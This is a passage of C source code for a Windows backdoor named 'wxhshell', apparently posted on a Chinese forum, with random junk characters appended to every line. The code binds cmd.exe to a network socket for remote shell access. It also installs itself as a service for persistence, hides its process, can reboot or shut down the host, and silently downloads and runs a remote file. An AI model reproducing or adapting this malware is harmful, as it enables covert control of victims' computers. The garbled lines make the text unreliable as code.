  // 帮助 Cy6%f?j  
  case '?': { %7 $X *  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); j%i6H1#.Z  
    break; 9JJk\,  
  } ?hKpJA'%  
  // 安装 ^*b11 /7  
  case 'i': { 0~BZh%s< (  
    if(Install()) A().1h1_k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B z? (?fyd  
    else [JKLlR  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @PV3G KJ  
    break; @s0mX3P  
    } |xrnLdng0R  
  // 卸载 uOPLJ?%  
  case 'r': { 8aTo TA7JA  
    if(Uninstall()) \f'=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kV4,45r  
    else _|7bpt9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mXI'=Vo!S  
    break; 6L3i   
    } NXOcsdcZu  
  // 显示 wxhshell 所在路径 ;)z+dd#3  
  case 'p': { *2 ~"%"C  
    char svExeFile[MAX_PATH]; *fI\|%K  
    strcpy(svExeFile,"\n\r"); n( zzH  
      strcat(svExeFile,ExeFile); t@jke  
        send(wsh,svExeFile,strlen(svExeFile),0); )H+p6<  
    break; W4=A.2[q  
    } JhvT+"~  
  // 重启 bycnh  
  case 'b': { Zou;o9Ww  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); a~Yq0d?`D  
    if(Boot(REBOOT)) %v[KLMo'(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9>= S@hVMd  
    else { ]xPy-j6C  
    closesocket(wsh); ^G NL:D%6d  
    ExitThread(0); 36}&{A  
    } V0xO:7G^  
    break; ])?[9c  
    } ppnl bL^*  
  // 关机 Gm=e;X;r  
  case 'd': { T }Wse{  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); )B"E+Q'h{7  
    if(Boot(SHUTDOWN)) 3g5D[>J'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mp8Zb&Ggb  
    else { 5YLc4z*  
    closesocket(wsh); $`<-;kI  
    ExitThread(0); . dJBv  
    } <GSp%r  
    break; IEY\l{s  
    } 5:%`&B\  
  // 获取shell f<>CSjQ4c  
  case 's': { t?Q  
    CmdShell(wsh); 9]:F!d/  
    closesocket(wsh); UQjYWXvi  
    ExitThread(0); T$Z}1e]  
    break; @#yl_r%  
  } -_bDbYL  
  // 退出 ow;a7  
  case 'x': { K;]Dh?  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); f{h2>nEj \  
    CloseIt(wsh); J7@Q;gcl:  
    break; L$^)QxH7  
    } b^"mQ   
  // 离开 rVwW%&  
  case 'q': { ~Xc1y!"9*  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); =KHX_ib  
    closesocket(wsh); #wJ^:r-c`  
    WSACleanup(); iYGa4@/uM  
    exit(1); MHS|gR.c  
    break; XpPcQIM*  
        } =)J )xH!N  
  } 8L[\(~Zf  
  } !ZY1AhGZ  
HBA|NV3.  
  // 提示信息 t-Ble  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); t-SZBNb  
} AvB21~t&]  
  } Nhtc^DX  
WLH ;{  
  return;  ~;uU{TT  
} B^.:dn  
.g_^! t  
// shell模块句柄 'l3 DP  
int CmdShell(SOCKET sock) # S0N`V  
{ pL: r\Y:R  
STARTUPINFO si;  SPnW8  
ZeroMemory(&si,sizeof(si)); 0 > QqsQ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 9{%/I   
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 10_>EY`  
PROCESS_INFORMATION ProcessInfo; NKRm#  
char cmdline[]="cmd"; >AWWwq -  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 2#Qw  
  return 0; W+Ou%uv}S  
} :\^jIKvZ  
W>u{JgY  
// 自身启动模式 sHQO*[[  
int StartFromService(void) 9TEAM<b;  
{ J\Tu=f)  
typedef struct vnqLcNB H  
{ .-1'#Z1T  
  DWORD ExitStatus; 4}0Ry\ 6  
  DWORD PebBaseAddress; %0vWyU:K9  
  DWORD AffinityMask; ~SI G0U8  
  DWORD BasePriority; ;8b!T -K  
  ULONG UniqueProcessId; 3!8u  
  ULONG InheritedFromUniqueProcessId; +kq+x6&  
}   PROCESS_BASIC_INFORMATION; fFXnD  
9&s>RJ  
PROCNTQSIP NtQueryInformationProcess; J 2k4k  
28j/K=0(  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; z~/e\  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; }4?z<.V  
xrkR)~ E  
  HANDLE             hProcess; +5GPU 9k  
  PROCESS_BASIC_INFORMATION pbi; ~DS.b-E  
v3wq-  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); | g"K7XfM4  
  if(NULL == hInst ) return 0; ED>P>Gg  
ADA}_|O  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); W9S6 SO^\  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); .u]d5z BR  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); v=DC3oh-  
u R]8ZT")  
  if (!NtQueryInformationProcess) return 0; Dn`  
z~ua#(z1S  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); V14+?L  
  if(!hProcess) return 0; GQ sE5Vb  
2_TFc2d  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; k&npC8oA  
3;AJp_;  
  CloseHandle(hProcess); I~nz~U:ak  
(4/W)L$  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); s%G%s,d  
if(hProcess==NULL) return 0; &d]@$4u$;  
cGlpJ)'-{  
HMODULE hMod; (IIZvCek  
char procName[255];  vSo1WS  
unsigned long cbNeeded; [EK@f,iM  
83VFBY2q  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); R`,|08E  
@QE&D+NS  
  CloseHandle(hProcess); VFKFO9  
D58RHgY[  
if(strstr(procName,"services")) return 1; // 以服务启动 6_K7!?YG7  
AB<%GzW0(  
  return 0; // 注册表启动 NHe[,nIV  
} U#{(*)qr  
WwUHHm<v  
// 主模块 u1>WG?/`  
int StartWxhshell(LPSTR lpCmdLine) tjQ6[`  
{ dV /Es  
  SOCKET wsl; .UvDew/Y  
BOOL val=TRUE; ,:0!+1  
  int port=0; szXqJG8|  
  struct sockaddr_in door; IA$=  
^-F#"i|Cn  
  if(wscfg.ws_autoins) Install(); h;R>|2A  
G[n;%c~`+  
port=atoi(lpCmdLine); )_}xK={  
f/"IC;<~t>  
if(port<=0) port=wscfg.ws_port; FytGg[#]  
2 ]n4)vv,  
  WSADATA data; +`!>lo{X  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; j|{ n?  
Q x&7Ceu"  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   >O0<u  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ,[3}t%Da  
  door.sin_family = AF_INET; fP 3t0cp  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); PJ,G_+b!  
  door.sin_port = htons(port); (-VH=,Md  
dJ>tM'G  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 8!MVDp[|"  
closesocket(wsl); OHv9|&Tpl  
return 1; V6B[eV$D  
} %g69kizoWi  
8Nx fYA  
  if(listen(wsl,2) == INVALID_SOCKET) { ]$Q@4=fb  
closesocket(wsl); @X P_~ N  
return 1; .pH 4[~  
} /?a9g>G%N  
  Wxhshell(wsl); ,l.+$G  
  WSACleanup(); 9%riB/vkrF  
S'`RP2P  
return 0; ,rOh*ebF  
:d~mlyFI6P  
} uc LDl  
\\{78WDA  
// 以NT服务方式启动 w }8=sw  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ~*`wRiUhis  
{ O{Q+<fBC9  
DWORD   status = 0; VBW][f  
  DWORD   specificError = 0xfffffff; -b34Wz(  
IR32O,)  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Swgvj(y;!A  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; V7vojm4 O  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ] #7baZ  
  serviceStatus.dwWin32ExitCode     = 0; |)mUO:*  
  serviceStatus.dwServiceSpecificExitCode = 0; %&J`mq  
  serviceStatus.dwCheckPoint       = 0; Nh !U  
  serviceStatus.dwWaitHint       = 0; }H/94]~tH  
e0IGx]5i  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); QBA{*@ A-  
  if (hServiceStatusHandle==0) return; '-#gQxIpD  
*z]P|_:&G  
status = GetLastError(); @6-3D/=  
  if (status!=NO_ERROR) S_s;foT  
{ L!fIAd`  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; @Ph'!  
    serviceStatus.dwCheckPoint       = 0; ]qx!51S  
    serviceStatus.dwWaitHint       = 0; ^;$9>yi1  
    serviceStatus.dwWin32ExitCode     = status; u,~+ho@  
    serviceStatus.dwServiceSpecificExitCode = specificError; ^ '_Fd  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); a(uQGyr[k1  
    return; ?OGs+G  
  } IvI;Q0E-3  
Z/:W.*u  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ?.ofs}  
  serviceStatus.dwCheckPoint       = 0; ;zSV~G6-  
  serviceStatus.dwWaitHint       = 0; YB4|J44Y  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); )&-n-m@E  
} 3%u: c]-wF  
Ds@K%f(.?w  
// 处理NT服务事件,比如:启动、停止 B5_QH8kt7  
VOID WINAPI NTServiceHandler(DWORD fdwControl) P<9T.l  
{ RK_z!%(P  
switch(fdwControl) -$kbj*b##  
{ 9h<iw\ $'  
case SERVICE_CONTROL_STOP: iztgk/(+G  
  serviceStatus.dwWin32ExitCode = 0; !Wy&+H*0  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; mn(MgJKQ\  
  serviceStatus.dwCheckPoint   = 0; ANR611-a  
  serviceStatus.dwWaitHint     = 0; )P|/<>z  
  { V1A7hRjxvG  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &m{~4]qWpM  
  } #XNURj  
  return; "*KOU2}C  
case SERVICE_CONTROL_PAUSE: kn WI7  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; i6i;{\tc  
  break; F |_mCwA  
case SERVICE_CONTROL_CONTINUE: RG/P]  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Z7Nhb{  
  break; <!X]$kvG  
case SERVICE_CONTROL_INTERROGATE: V3axwg_  
  break; @Q:?,  
}; S Z &[o&H  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Rb <{o8  
} , _xJ9_  
T<RWz  
// 标准应用程序主函数 Iapzhy2l  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) >_X(rar0  
{ SQk5SP  
z] |Y   
// 获取操作系统版本 qLB(Th\&'  
OsIsNt=GetOsVer(); /#}%c'  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 7/\SN04l  
/ $'M  
  // 从命令行安装 PG'I7)Bv  
  if(strpbrk(lpCmdLine,"iI")) Install(); 2 xi@5;!  
W#^p%?8pR  
  // 下载执行文件 ?MiMwVR  
if(wscfg.ws_downexe) { u7-0?  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) x o72JJ  
  WinExec(wscfg.ws_filenam,SW_HIDE); 3>z+3!I z  
} uW,rmd  
@!(V0-  
if(!OsIsNt) { L.a~vk 1  
// 如果时win9x,隐藏进程并且设置为注册表启动 ],wzZhA  
HideProc(); O^R ^Aw  
StartWxhshell(lpCmdLine); <q|eG\01S  
} XsMETl"Av4  
else Bv`3T Af2  
  if(StartFromService()) 24Htr/lPCT  
  // 以服务方式启动 1 EHNg<J(  
  StartServiceCtrlDispatcher(DispatchTable); ZaFqGcS~  
else _3gF~qr  
  // 普通方式启动 dW#l3_'3T  
  StartWxhshell(lpCmdLine); y{nX 6  
9(BB>o54r  
return 0; {dV!sQD  
}
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只看该作者 1 发表于: 2006-10-10
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